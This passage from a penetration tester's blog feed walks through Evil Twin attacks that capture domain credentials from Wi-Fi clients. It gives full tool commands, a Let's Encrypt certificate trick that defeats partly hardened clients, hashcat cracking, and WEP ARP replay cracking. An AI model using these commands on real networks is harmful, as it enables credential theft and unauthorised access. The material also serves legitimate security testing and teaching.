          <li><a href="#generating-the-lets-encrypt-certificate" id="markdown-toc-generating-the-lets-encrypt-certificate">Generating the Let’s Encrypt certificate</a></li>
          <li><a href="#deploying-the-evil-twin-with-lets-encrypt-issued-certificates" id="markdown-toc-deploying-the-evil-twin-with-lets-encrypt-issued-certificates">Deploying the evil twin with Let’s Encrypt issued certificates</a></li>
        </ul>
      </li>
    </ul>
  </li>
</ul>

<h2 id="foreword">Foreword</h2>

<p>As mentioned in the recent post, <a href="/posts/wifi/2023/02/12/cracking_psk_wlan_perimeters_with_evil_twin_attacks">Cracking PSK WLAN perimeters with Evil Twin attacks</a>, 
the Evil Twin attacks are used to coerce an unsuspecting users to send their credentials to the adversary using a phishing-style attack. In this post, an Evil Twin attack will be used to allow a malicious Access Point (AP) to mimic a legitimate AP to coerce the user’s device to transmit stored credentials. The credentials will be domain credentials, as the Evil Twin will be set up to force the client device to authenticate using <code class="language-plaintext highlighter-rouge">EAP-PEAP-MSCHAP</code>. Ultimately, this attack is possible because users interact with a WLAN via the SSID, all the adversary has to do typically is mimic the SSID, and then users will connect to their malicious AP. This is further compounded by the default behaviour of user devices, which will automatically probe for and join previously connected WLAN that are stored in their wireless network lists.</p>

<p class="note">An Evil Twin attack can be used in a wide range of attacks against EAP authentication methods, this post just happens to cover the more typical use case by targeting a device expecting a <code class="language-plaintext highlighter-rouge">EAP-PEAP-MSCHAP</code> WLAN. The attack be used against other EAP method, such as <code class="language-plaintext highlighter-rouge">EAP-TLS</code>; which often thought of as the most secure deployment. While <code class="language-plaintext highlighter-rouge">EAP-TLS</code> is secure in the sense of keeping an adversary from connecting to the WLAN, there are a range of a caveats. An evil twin attack could still be used to coerce the client device into joining an adversary-controlled WLAN, at which point it could be attacked. The client device will transmit its client certificate, which could be simply accepted by the adversary; however the adversary in turn can’t simply use the client certificate to connect to the legitimate AP, as they would not have the corrosponding private key. Instead once the client device is on the adversary’s WLAN, it can be targeted by network attacks using tools such as <code class="language-plaintext highlighter-rouge">responder</code> and <code class="language-plaintext highlighter-rouge">mitm6</code> to coerce credentials from the device in that matter. At which point, the adversary could use the credentials to access the internal ecosystem via VPN, or in the case where the WLAN actually supports multiple EAP methods for authentication, bypass <code class="language-plaintext highlighter-rouge">EAP-TLS</code> by using alternative authentication method. This will be demonstrated in a future post to come.</p>

<h2 id="the-basic-evil-twin-eap-peap-attack">The basic Evil Twin EAP-PEAP attack</h2>

<h3 id="tools-required">Tools required</h3>
<ul>
  <li><code class="language-plaintext highlighter-rouge">wireshark</code></li>
  <li><code class="language-plaintext highlighter-rouge">iwconfig</code></li>
  <li><code class="language-plaintext highlighter-rouge">rogue</code></li>
  <li><code class="language-plaintext highlighter-rouge">hcxpcapngtool</code> (<code class="language-plaintext highlighter-rouge">hcxtools</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">hashcat</code></li>
</ul>

<h3 id="hardware-required">Hardware required</h3>
<ul>
  <li>one wireless adaptor, I’ll be using the ALFA 1900 ( chipset: <code class="language-plaintext highlighter-rouge">RTL8814AU</code> )</li>
</ul>

<h3 id="conducting-the-basic-evil-twin-eap-peap-mschap-attack">Conducting the basic Evil Twin EAP-PEAP-MSCHAP attack</h3>

<p>I’ve built <a href="https://github.com/InfamousSYN/rogue"><code class="language-plaintext highlighter-rouge">rogue</code></a> as a simple to use attack platform for conducting evil twin attacks. In this post section I cover what I refer to as the basic <code class="language-plaintext highlighter-rouge">EAP-PEAP-MSCHAP</code> attack. In this attack, an adversary conducts an evil twin attack using a self-signed certificate, which can be generated using the below command.</p>

<pre><code class="language-Bash">sudo python3 /opt/rogue/rogue.py --cert-wizard
</code></pre>

<p>After going through the prompts, the certificate will be generated and <code class="language-plaintext highlighter-rouge">rogue</code> instance can be deployed to perform the attack.</p>

<pre><code class="language-Bash">sudo python3 /opt/rogue/rogue.py -i wlan0 --auth wpa-enterprise --internet --preset-profile wifi4 --channel-randomiser --default-eap peap -E all --country AU
</code></pre>

<p class="note">The newer versions of <a href="https://github.com/InfamousSYN/rogue"><code class="language-plaintext highlighter-rouge">rogue</code></a> has the <code class="language-plaintext highlighter-rouge">--preset-profile</code> argument, which allows the user to select which generation of 802.11 (ie 802.11n, 802.11ac and etc) will be used without needing to know all the required parameters.</p>

<p><img src="/assets/img/2023-02-12-cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks/rogue - evil twin - basic.png" alt="" /></p>

<p>I will typically use <code class="language-plaintext highlighter-rouge">watch</code> to monitor the <code class="language-plaintext highlighter-rouge">freeradius-server-wpe.log</code> log file for the captured credentials using the following command.</p>

<pre><code class="language-Bash">watch -n 0.1 'cat /opt/rogue/logs/freeradius-server-wpe.log'
</code></pre>

<p>Once the evil twin attack is underway, the client device will see the malicious AP like below.</p>

<p><img src="/assets/img/2023-02-12-cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks/client device - wireless network list.png" alt="" /></p>

<p>Assuming the client device has previously connected to the target WLAN and is what this attack is ultimately banking on, the client device will automatically connect and transmit the stored credentials.</p>

<p class="note">There is another assumption being made at this point, we’re assuming the user has not specifically disabled the automatic reconnect function when the desired network is in range.</p>

<p>The below image shows the client connecting to the malicious AP and transmitting credentials.</p>

<p><img src="/assets/img/2023-02-12-cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks/rogue - evil twin - basic - credentials sent.png" alt="" /></p>

<p>The captured credentials are now shown in the log file.</p>

<p><img src="/assets/img/2023-02-12-cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks/rogue - evil twin - basic - log file.png" alt="" /></p>

<p>The captured credentials are recorded as a Net-NTLM challenge, refer to Péter Gombos’ <a href="https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4">LM, NTLM, Net-NTLMv2, oh my!</a> write for a great explanation. The challenge needs to be converted to a format usable by <code class="language-plaintext highlighter-rouge">hashcat</code>. Fortunately, I’ve included a utility as part of the <code class="language-plaintext highlighter-rouge">rogue</code> toolkit called <code class="language-plaintext highlighter-rouge">hashcatifer.py</code>, which will just do this.</p>

<pre><code class="language-Bash">sudo python3 /opt/rogue/tools/hashcatifer.py -f /opt/rogue/logs/freeradius-server-wpe.log -o demo.5500
</code></pre>

<p><img src="/assets/img/2023-02-12-cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks/rogue - evil twin - basic - hashcatifier.png" alt="" /></p>

<p>As shown in the image above, <code class="language-plaintext highlighter-rouge">hashcatifer.py</code> provides the user guidance on the next command - which is using <code class="language-plaintext highlighter-rouge">hashcat</code> to attempt to crach the captured credentials.</p>

<pre><code class="language-Bash">echo 'rogue'| hashcat -m 5500 demo.5500 --quiet
</code></pre>

<p><img src="/assets/img/2023-02-12-cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks/hashcat - basic.png" alt="" /></p>

<h2 id="the-advance-evil-twin-eap-peap-attack">The advance Evil Twin EAP-PEAP attack</h2>

<h3 id="tools-required-1">Tools required</h3>
<ul>
  <li><code class="language-plaintext highlighter-rouge">wireshark</code></li>
  <li><code class="language-plaintext highlighter-rouge">iwconfig</code></li>
  <li><code class="language-plaintext highlighter-rouge">rogue</code></li>
  <li><code class="language-plaintext highlighter-rouge">hcxpcapngtool</code> (<code class="language-plaintext highlighter-rouge">hcxtools</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">hashcat</code></li>
</ul>

<h3 id="hardware-required-1">Hardware required</h3>
<ul>
  <li>one wireless adaptor, I’ll be using the ALFA 1900 ( chipset: <code class="language-plaintext highlighter-rouge">RTL8814AU</code> )</li>
</ul>

<h3 id="conducting-the-advance-evil-twin-eap-peap-mschap-attack">Conducting the advance Evil Twin EAP-PEAP-MSCHAP attack</h3>

<p>In this attack, the client devices have had a basic level of hardening applied and refuse to connect to a WLAN which uses a self-signed certificate. In these scenarios, the adversary can still perform an evil twin attack, however they must replace the self-signed certificate with certificates signed by a trusted Certificate Authority (CA), such as default trusted root CA.</p>

<p>It just happens, that the <a href="https://letsencrypt.org/certificates/">Let’s Encrypt</a> will issue certificates that have been signed by their the certificates, which in turn have been signed by the ISRG Root X1 certificate - which happens to be a default trusted root CA. This means, an adversary can request Let’s Encrypt to issue a free legitimately signed certificate, that has a trust chain up to a default trusted root CA, to use an evil twin attack for any domain that they own.</p>

<h4 id="looking-at-the-hardened-client-behaviour">Looking at the hardened client behaviour</h4>

<p>Below is hardened client configuration, for a Windows supplicant, in which the client is going to validate the RADIUS certificate is trusted, and if the certificate is not trusted, then do not ask the user to authorise a new certificate (see the Notifications before connecting dropdown list). Ultimately, this configuration will prevent a client from automatically transmitting the credentials, and also will manually connecting to the malicious AP - will stop that as well.</p>

<p><img src="/assets/img/2023-02-12-cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks/client device - hardened configuration.png" alt="" /></p>

<p>Using <code class="language-plaintext highlighter-rouge">wireshark</code> it is possible to confirm that the client device rejected the server’s certificate, in message <code class="language-plaintext highlighter-rouge">13</code> and did not send credentials as part of the inner authentication of <code class="language-plaintext highlighter-rouge">EAP-PEAP-MSCHAP</code>.</p>

<p><img src="/assets/img/2023-02-12-cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks/wireshark - non-trusted certificate failure.png" alt="" /></p>

<p>Ultimately, the advance evil twin technique is used to bypass this validation due to the default nature of supplicants. Which is, while this configuration is hardened, it is still insecure. In the above client configuration screenshot, the <code class="language-plaintext highlighter-rouge">Verify the server's identity by validating the certificate</code> tick box has been selected. But neither of the sub-boxs have been selected, therefore any of the certificates loaded into the device’s trusted root CA certificate store can be used to validate any RADIUS server’s identity:</p>
<ul>
  <li>The <code class="language-plaintext highlighter-rouge">connect to these servers (examples:srv1;srv2;.*\.srv3\.com)</code> tick box has not been selected, and is used to specify the RADIUS server the device will use to validate itself.</li>
  <li>No default <code class="language-plaintext highlighter-rouge">Trusted Root Certification Authorities</code> have been explicitly selected, therefore all are selected.</li>
</ul>

<p>And because all trused root CA are selected, this is the reason why the adversary can generate a free certificate using Let’s Encrypt.</p>

<h4 id="generating-the-lets-encrypt-certificate">Generating the Let’s Encrypt certificate</h4>

<p>The adversary would have to buy a domain, then deploy a machine (such as an EC2 instance), then add an <code class="language-plaintext highlighter-rouge">A</code> record for the instance to their zone file. However, assuming that is all done.</p>

<p>Install and configure <code class="language-plaintext highlighter-rouge">cert-bot</code> using the below command:</p>

<pre><code class="language-Bash">sudo apt update --assume-yes; apt install libaugeas0 --assume-yes
sudo python3 -m pip install certbot certbot-apache
sudo ln -s /opt/certbot/bin/certbot /usr/bin/certbot
</code></pre>

<p>Run the <code class="language-plaintext highlighter-rouge">cert-bot</code> client and follow the steps</p>

<pre><code class="language-Bash">certbot certonly -d rogue.pki.infamoussyn.com
</code></pre>

<h4 id="deploying-the-evil-twin-with-lets-encrypt-issued-certificates">Deploying the evil twin with Let’s Encrypt issued certificates</h4>

<p>While <a href="https://github.com/InfamousSYN/rogue"><code class="language-plaintext highlighter-rouge">rogue</code></a> has the <code class="language-plaintext highlighter-rouge">--cert-wizard</code> argument, which launches a workflow to generate a self-signed certificate, it also includes three additional arguments that when used in tandum allow a custom certificate to be used instead. The following command example will deploy a <code class="language-plaintext highlighter-rouge">rogue</code> instance using the newly generated certificates from Let’s Encrypt.</p>

<pre><code class="language-Bash">sudo python3 /opt/rogue/rogue.py -i wlan0 --auth wpa-enterprise --internet --preset-profile wifi4 --channel-randomiser --default-eap peap -E all --country AU --essid rogue-advance --server-certificate /home/kali/Documents/fullchain.pem --ca-certificate /home/kali/Documents/chain.pem --server-private-key /home/kali/Documents/privkey.pemt
</code></pre>

<p><strong>Note:</strong> Let’s Encrypt does not set a passphrase for the private key file, therefore there is no need to use the <code class="language-plaintext highlighter-rouge">--server-private-password</code>.</p>

<p><img src="/assets/img/2023-02-12-cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks/rogue - evil twin - advance.png" alt="" /></p>

<p>It can be seen in the below screenshot, that at frame <code class="language-plaintext highlighter-rouge">71</code> the <code class="language-plaintext highlighter-rouge">rogue</code> instance sends the Let’s Encrypt certificate and the client does not immediately reject it; at which point the hardened configuration has been bypassed and the standard evil twin attack can be continued.</p>

<p><img src="/assets/img/2023-02-12-cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks/wireshark - lets encrypted - accepted.png" alt="" /></p>

<p>Checking the log file, credentials have been captured.</p>

<p><img src="/assets/img/2023-02-12-cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks/rogue - evil twin - advance - log file.png" alt="" /></p>

<p>Again <code class="language-plaintext highlighter-rouge">hashcatifer.py</code> is used to ready <code class="language-plaintext highlighter-rouge">rogue</code> instance log file for <code class="language-plaintext highlighter-rouge">hashcat</code>.</p>

<pre><code class="language-Bash">sudo python3 /opt/rogue/tools/hashcatifer.py -f /opt/rogue/logs/freeradius-server-wpe.log -o advance.5500
</code></pre>

<p><img src="/assets/img/2023-02-12-cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks/rogue - evil twin - advance - hashcatifer.png" alt="" /></p>

<p>Finally <code class="language-plaintext highlighter-rouge">hashcat</code> is used again to crack the captured credentials.</p>

<pre><code class="language-Bash">echo 'rogue-advance'| hashcat -m 5500 demo.5500 --quiet
</code></pre>

<p><img src="/assets/img/2023-02-12-cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks/hashcat - advance.png" alt="" /></p>]]></content><author><name>InfamousSYN</name><email>ainfamoussyn@gmail.com</email></author><category term="posts" /><category term="wifi" /><category term="wifi" /><summary type="html"><![CDATA[Coercing domain credentials from a device using evil twin attacks]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.infamoussyn.com/assets/img/2023-02-12-cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks/rogue%20-%20evil%20twin%20-%20basic.png" /><media:content medium="image" url="https://blog.infamoussyn.com/assets/img/2023-02-12-cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks/rogue%20-%20evil%20twin%20-%20basic.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Cracking WEP &amp;amp; WPA2-PSK Wireless Encryption Redux</title><link href="https://blog.infamoussyn.com/posts/wifi/2023/01/22/cracking-wep-wpa2-wireless-encryption-redux.html" rel="alternate" type="text/html" title="Cracking WEP &amp;amp; WPA2-PSK Wireless Encryption Redux" /><published>2023-01-22T00:00:00+00:00</published><updated>2023-01-22T00:00:00+00:00</updated><id>https://blog.infamoussyn.com/posts/wifi/2023/01/22/cracking-wep-wpa2-wireless-encryption-redux</id><content type="html" xml:base="https://blog.infamoussyn.com/posts/wifi/2023/01/22/cracking-wep-wpa2-wireless-encryption-redux.html"><![CDATA[<ul id="markdown-toc">
  <li><a href="#how-has-my-process-changed" id="markdown-toc-how-has-my-process-changed">How has my process changed?</a></li>
  <li><a href="#wep-arp-replay-attack" id="markdown-toc-wep-arp-replay-attack">WEP ARP Replay Attack</a>    <ul>
      <li><a href="#tools-required" id="markdown-toc-tools-required">Tools required</a></li>
      <li><a href="#hardware-required" id="markdown-toc-hardware-required">Hardware required</a></li>
      <li><a href="#interface-configuration" id="markdown-toc-interface-configuration">Interface configuration</a></li>
      <li><a href="#conducting-the-attack" id="markdown-toc-conducting-the-attack">Conducting the attack</a></li>
    </ul>
  </li>
  <li><a href="#wep-caffe-latte" id="markdown-toc-wep-caffe-latte">WEP Caffe Latte</a>    <ul>
      <li><a href="#tools-required-1" id="markdown-toc-tools-required-1">Tools required</a></li>
      <li><a href="#hardware-required-1" id="markdown-toc-hardware-required-1">Hardware required</a></li>
      <li><a href="#interface-configuration-1" id="markdown-toc-interface-configuration-1">Interface configuration</a></li>
      <li><a href="#conducting-the-attack-1" id="markdown-toc-conducting-the-attack-1">Conducting the attack</a></li>
    </ul>
  </li>
  <li><a href="#pre-shared-key-brute-force-attack" id="markdown-toc-pre-shared-key-brute-force-attack">Pre-Shared Key Brute Force Attack</a>    <ul>
      <li><a href="#tools-required-2" id="markdown-toc-tools-required-2">Tools required</a></li>
      <li><a href="#hardware-required-2" id="markdown-toc-hardware-required-2">Hardware required</a></li>
      <li><a href="#interface-configuration-2" id="markdown-toc-interface-configuration-2">Interface configuration</a></li>
      <li><a href="#conducting-the-attack-2" id="markdown-toc-conducting-the-attack-2">Conducting the attack</a>        <ul>
          <li><a href="#passive-approach" id="markdown-toc-passive-approach">Passive approach</a></li>
          <li><a href="#active-approach" id="markdown-toc-active-approach">Active approach</a></li>
        </ul>
      </li>
      <li><a href="#point-of-re-convergence" id="markdown-toc-point-of-re-convergence">Point of re-convergence</a></li>
      <li><a href="#side-note" id="markdown-toc-side-note">Side Note</a></li>
    </ul>
  </li>
  <li><a href="#pmkid-brute-force-attack" id="markdown-toc-pmkid-brute-force-attack">PMKID Brute Force Attack</a>    <ul>
      <li><a href="#tools-required-3" id="markdown-toc-tools-required-3">Tools required</a></li>
      <li><a href="#hardware-required-3" id="markdown-toc-hardware-required-3">Hardware required</a></li>
      <li><a href="#interface-configuration-3" id="markdown-toc-interface-configuration-3">Interface configuration</a></li>
      <li><a href="#conducting-the-attack-3" id="markdown-toc-conducting-the-attack-3">Conducting the attack</a></li>
    </ul>
  </li>
</ul>

<p>One of the first blog posts I had ever wrote was on Wi-Fi hacking, specifically a guide on how to capture and brute force the authentication keys for both a WEP and WPA2-PSK wireless network. The <a href="https://blog.infamoussyn.com/posts/wifi/2013/05/10/Cracking-WEP-WPA2-PSK-Wireless-Encryption.html">Cracking WEP &amp; WPA2-PSK Wireless Encryption</a> was written before I had ever landed my first job as a penetration tester. Since that time, I’ve been inspired to write an update to the original blog post for a range of reasons, such as:</p>
<ul>
  <li>The 2 attack techniques outlined in the original post were infrastructure-centric, where a known WEP attack that focused against client devices was not covered</li>
  <li>In addition to being infrastructure-centric, the post inferred the perspective that a client device MUST be present and connected to the legitimate AP for an adversary to attack the network.</li>
  <li>my process has changed based on my experience in the field</li>
  <li>my professional writing skills have improved</li>
</ul>

<p>In this updated post, I’ll attempt to address the first two dot points in several ways, including:</p>
<ul>
  <li>by covering the caffe latte attack, it demonstrates how client devices can be attacked regardless of their location</li>
  <li>by covering the WPA2-PSK PMKID attack, it demonstrates the inverse of the above WEP attack concept by illustrating how a network could be attacked without a client device present</li>
</ul>

<p>Ultimately, the goal of this post is assist with demonstrating the techniques that could be used by an adversary to breach such wireless network perimeters with ease.</p>

<h2 id="how-has-my-process-changed">How has my process changed?</h2>
<p>Below are four overarching changes to my execution process:</p>
<ol>
  <li>In historical Wi-Fi hacking articles, readers will be familiar with <code class="language-plaintext highlighter-rouge">airodump-ng</code> predominately being used for both channel hopping and packet capture creation. Ultimately, I just use the tool as a glorified automated channel hopper for report screenshots. I instead use <code class="language-plaintext highlighter-rouge">wireshark</code> to write the captured Wi-Fi communication to a PCAP file. There is a wider reason for why I use <code class="language-plaintext highlighter-rouge">wireshark</code>, which will be covered in a later blog post and linked later, but also I find the <code class="language-plaintext highlighter-rouge">airodump-ng</code> interface very limiting and I dislike how values can not be copied while the tool is in use.</li>
  <li>I have phased out the use of <code class="language-plaintext highlighter-rouge">airmon-ng</code> for changing the operational mode of wireless adaptors. This is because I don’t want to kill my entire system’s networking by using the below command. I will use <code class="language-plaintext highlighter-rouge">nmcli</code> to configure Network Manager to give myself the flexibility of bridging two interfaces together to provide internet services when performing Evil Twin attacks. But also, I am typically running multiple testing operations at a time where one operation might require internet access and I do not want to cause testing bottlenecks.
    <pre><code class="language-Bash"> airmon-ng check kill
</code></pre>
  </li>
  <li>I use passive approaches for capturing and recording authentication frames in the sense I don’t intentionally perform disassociation and deauthentication attacks, instead I personally lean heavily on Evil Twin attacks to coerce client devices into connecting to my testing infrastructure.</li>
  <li>The big process change is I now use <code class="language-plaintext highlighter-rouge">hashcat</code> wherever possible instead of <code class="language-plaintext highlighter-rouge">aircrack-ng</code> for password guessing regardless of whether I am utilising CPU or GPU processing power.
I’ll also point out several discreet changes in my processes for each specific attack in the following sections.</li>
</ol>

<h2 id="wep-arp-replay-attack">WEP ARP Replay Attack</h2>
<p>The WEP ARP replay attack exploits the WEP protocol’s use of weak initialization vectors (IV), which is due to the IV being limited to 24-bits in length. In an ARP replay attack, an attacker intercepts an ARP packet, then continuously replays it over the wireless network. By replaying the ARP packet, the adversary can coerce a response, which is encrypted using the WEP key. Through this attack, the adversary can eventually capture enough of the key material to perform a brute force attack to compromise the WEP key itself.</p>

<h3 id="tools-required">Tools required</h3>
<ul>
  <li><code class="language-plaintext highlighter-rouge">airodump-ng</code></li>
  <li><code class="language-plaintext highlighter-rouge">aireplay-ng</code></li>
  <li><code class="language-plaintext highlighter-rouge">wireshark</code></li>
  <li><code class="language-plaintext highlighter-rouge">aircrack-ng</code></li>
  <li><code class="language-plaintext highlighter-rouge">iwconfig</code></li>
</ul>

<p>Assuming you are using Kali Linux, the above tools can be installed using the following command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt install aireplay-ng wireshark iw
</code></pre></div></div>

<h3 id="hardware-required">Hardware required</h3>
<ul>
  <li>single wireless adaptor capable of both being in monitor mode and packet injection, I’ll be using the ALFA AWUS036ACH ( chipset: <code class="language-plaintext highlighter-rouge">RTL8812AU</code> )</li>
</ul>

<h3 id="interface-configuration">Interface configuration</h3>

<p>After connecting the interface, the <code class="language-plaintext highlighter-rouge">lsusb</code> command is used to confirm that the Operating System (OS) detects the interface.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(kali㉿kali)-[~]
└─$ lsusb 
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 003 Device 009: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter
Bus 003 Device 008: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter
Bus 003 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 003 Device 004: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 003 Device 002: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 002 Device 002: ID 0e0f:0008 VMware, Inc. Virtual Bluetooth Adapter
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
</code></pre></div></div>

<p>For this demo, the <code class="language-plaintext highlighter-rouge">wlan0</code> interface will be used and its current status is:</p>
<ul>
  <li>it is in the managed operational state, as shown by <code class="language-plaintext highlighter-rouge">iwconfig</code></li>
  <li>it is being controlled by Network Manager, as shown by the <code class="language-plaintext highlighter-rouge">nmcli</code> command</li>
</ul>

<pre><code class="language-Bash">┌──(kali㉿kali)-[~]
└─$ sudo iwconfig      
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     unassociated  ESSID:""  Nickname:"&lt;WIFI@REALTEK&gt;"
          Mode:Managed  Frequency=2.412 GHz  Access Point: Not-Associated   
          Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

wlan1     unassociated  ESSID:""  Nickname:"&lt;WIFI@REALTEK&gt;"
          Mode:Managed  Frequency=2.412 GHz  Access Point: Not-Associated   
          Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ nmcli dev          
DEVICE         TYPE      STATE         CONNECTION         
eth0           ethernet  connected     Wired connection 1 
wlan0          wifi      disconnected  --                 
wlan1          wifi      disconnected  --                 
p2p-dev-wlan0  wifi-p2p  disconnected  --                 
p2p-dev-wlan1  wifi-p2p  disconnected  --                 
lo             loopback  unmanaged     --                 
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$
</code></pre>

<p>To ensure that Network Manager does not disrupt any attacks in-progress by changing the interface from monitor or master mode back to managed mode, use the following command:</p>

<pre><code class="language-Bash">sudo nmcli dev set INTERFACE managed no
</code></pre>

<p>Once the interface is not longer controlled, the interface can be placed into monitor mode without Network Manager’s interference.</p>

<pre><code class="language-Bash">sudo iwconfig INTERFACE mode Monitor
</code></pre>

<h3 id="conducting-the-attack">Conducting the attack</h3>

<p>After configuring the interface, <a href="https://github.com/aircrack-ng/aircrack-ng"><code class="language-plaintext highlighter-rouge">airodump-ng</code></a> is used to perform the initial target AP identification as shown in the example below. In the below example, it is unknown whether the target AP is on 2.4GHz or a 5GHz frequency, therefore the <code class="language-plaintext highlighter-rouge">--band abg</code> switch is used to enable channel hopping across both spectrums. The <code class="language-plaintext highlighter-rouge">-a</code> is used to attempt to reduce the noise presented by <code class="language-plaintext highlighter-rouge">airodump-ng</code> in high population areas by only reporting on clients observed to be associated to an AP.</p>

<pre><code class="language-Bash">sudo airodump-ng --band abg -a wlan0
</code></pre>

<p>In the below image, the target AP is broadcasting the SSID <code class="language-plaintext highlighter-rouge">demo</code>, listening on channel <code class="language-plaintext highlighter-rouge">1</code> and has the <code class="language-plaintext highlighter-rouge">7a:65:59:27:f4:0c</code> BSSID.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230121231000.png" alt="" /></p>

<p>At which point, <code class="language-plaintext highlighter-rouge">airodump-ng</code> is turned off and <code class="language-plaintext highlighter-rouge">wireshark</code> is launched. This allows for an easier method to observe connected clients to the target AP, for the reason mentioned in why my process has been changed.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230121231133.png" alt="" /></p>

<p>After the target AP’s channel had been identified, the monitor interface is manually changed to match the target AP’s channel, using the <code class="language-plaintext highlighter-rouge">iwconfig</code> like below:</p>

<pre><code class="language-Bash">sudo iwconfig wlan0 channel 1
</code></pre>

<p>Once <code class="language-plaintext highlighter-rouge">wireshark</code> is launched, it is attached to the monitor interface and the below display filter is used to focus on the target AP, by BSSID, and only see data frames exchanged between clients and the AP.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wlan.bssid == 7a:65:59:27:f4:0f and wlan.fc.type eq 2
</code></pre></div></div>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230121232002.png" alt="" /></p>

<p>Having identified a connected client is known, <code class="language-plaintext highlighter-rouge">aireplay-ng</code> can be used to perform the WEP ARP replay attack using the following command example, below is an explanation of the command:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">-3</code> switch is for the ARP replay</li>
  <li><code class="language-plaintext highlighter-rouge">-b</code> switch supplies the BSSID of the target AP</li>
  <li><code class="language-plaintext highlighter-rouge">-h</code> switch supplied the MAC address of the connected client</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo aireplay-ng -3 -b 7A:65:59:27:F4:0F -h FA:26:74:E8:E5:D6 wlan0
</code></pre></div></div>

<p>Using the above command <code class="language-plaintext highlighter-rouge">aircrack-ng</code> will listen for an ARP frame from the connected client, and automatically forge and begin to continuously transmit the forged ARP frame to coerce responses. The below image represents the process occurring.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230121225905.png" alt="" /></p>

<p>As a rule of thumb, it is typically recommended to capture at least 50,000 ARP requests as there is generally enough key material across all frames to brute force the WEP key. Once the desired amount of ARP request have been captured, <code class="language-plaintext highlighter-rouge">wireshark</code> is used to save the captured frames to a PCAP.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230121233812.png" alt="" /></p>

<p class="note">Unfortunately <code class="language-plaintext highlighter-rouge">hashcat</code> does not support WEP cracking as it is considered a legacy encryption algorithm and is not worth supporting.</p>

<p>The <code class="language-plaintext highlighter-rouge">aircrack-ng</code> tool is used brute force the WEP key, as demonstrated using the below command:</p>

<pre><code class="language-Bash">aircrack-ng -e demo 21012023-wifi-wep.pcap
</code></pre>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230121234012.png" alt="" /></p>

<h2 id="wep-caffe-latte">WEP Caffe Latte</h2>
<p>While to perform the standard WEP ARP Replay attack requires the target AP to have a connected client, the Caffe Latte attack does not. In actual fact the attack is against the client, and means an adversary can perform the attack regardless of the where the client is. When describing the implication of the attack, it is typically framed as being conducted at a café. This is because it can take no longer than for the victim user to order a coffee for the adversary to recover enough off the key material to compromise the WEP key, hence the name.</p>

<p>The concept attack is relatively trivial in and of itself. Essentially an adversary can monitor for a probe requests being broadcasted, as part of the standard probing process for known wireless networks. While an adversary can not determine the type of encryption used by the probed for wireless network by inspecting the probe request frame, an opportunistic adversary could deploy a malicious AP to simulate the requested wireless network. Which would mean if the client had previously used WEP to authenticate and encrypt communication to the requested SSID, then the attack would be successful. Ultimately, the caffe latte attack is a kin to the Evil Twin Attack (ETA).</p>

